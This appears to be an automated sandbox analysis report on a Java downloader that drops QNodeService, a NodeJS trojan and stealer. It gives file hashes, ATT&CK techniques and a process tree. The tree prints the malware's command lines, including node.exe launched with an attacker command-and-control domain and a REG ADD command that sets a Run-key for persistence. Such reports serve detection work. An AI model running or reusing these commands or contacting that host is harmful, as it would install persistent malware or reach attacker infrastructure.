qnodeservice | bd081460ce6b479da9e8bcace4e71315d493ea23791f9eda446cc54c2f8459d2

General

Target

Order02102020.jar
Size

231KB
MD5

14df30e43c2fa8e9202e74fea649d5f0
SHA1

80f7ff0c36220e6fc1f9c2ca196ed898321386e6
SHA256

bd081460ce6b479da9e8bcace4e71315d493ea23791f9eda446cc54c2f8459d2
SHA512

f59ca009f58b66941a0dff62d783d08e9b3228f7ce86e978bf4b908b67bc36e91f5eee510a9634e5f646db7fe466d7cceb911b11910a430e10cb88f41fc515e0

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2584	node.exe
1312	node.exe
2148	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\19fa4bb1-097f-45a0-81b1-257f0c7efca1 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad60-169.dat	js
behavioral2/files/0x000100000001ad60-173.dat	js
behavioral2/files/0x000100000001ad60-177.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	wtfismyip.com
21	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2584	node.exe
2584	node.exe
2584	node.exe
2584	node.exe
1312	node.exe
1312	node.exe
1312	node.exe
1312	node.exe
2148	node.exe
2148	node.exe
2148	node.exe
2148	node.exe
2148	node.exe
2148	node.exe
2148	node.exe
2148	node.exe
2148	node.exe
2148	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 408 wrote to memory of 2760	408	java.exe	73
PID 408 wrote to memory of 2760	408	java.exe	73
PID 2760 wrote to memory of 2584	2760	javaw.exe	77
PID 2760 wrote to memory of 2584	2760	javaw.exe	77
PID 2584 wrote to memory of 1312	2584	node.exe	79
PID 2584 wrote to memory of 1312	2584	node.exe	79
PID 1312 wrote to memory of 2148	1312	node.exe	80
PID 1312 wrote to memory of 2148	1312	node.exe	80
PID 2148 wrote to memory of 3852	2148	node.exe	82
PID 2148 wrote to memory of 3852	2148	node.exe	82
PID 3852 wrote to memory of 3932	3852	cmd.exe	83
PID 3852 wrote to memory of 3932	3852	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Order02102020.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:408
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\b2ce01d6.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain qhub55.duckdns.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_2j7dEw\boot.js --hub-domain qhub55.duckdns.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1312
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_2j7dEw\boot.js --hub-domain qhub55.duckdns.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2148
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "19fa4bb1-097f-45a0-81b1-257f0c7efca1" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3852
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "19fa4bb1-097f-45a0-81b1-257f0c7efca1" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3932

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1312-174-0x0000016E824C0000-0x0000016E824C1000-memory.dmp

Filesize
4KB

Download
memory/2148-178-0x000003AA84400000-0x000003AA84401000-memory.dmp

Filesize
4KB

Download
memory/2584-171-0x000001F492CC0000-0x000001F492CC1000-memory.dmp

Filesize
4KB

Download

Analysis

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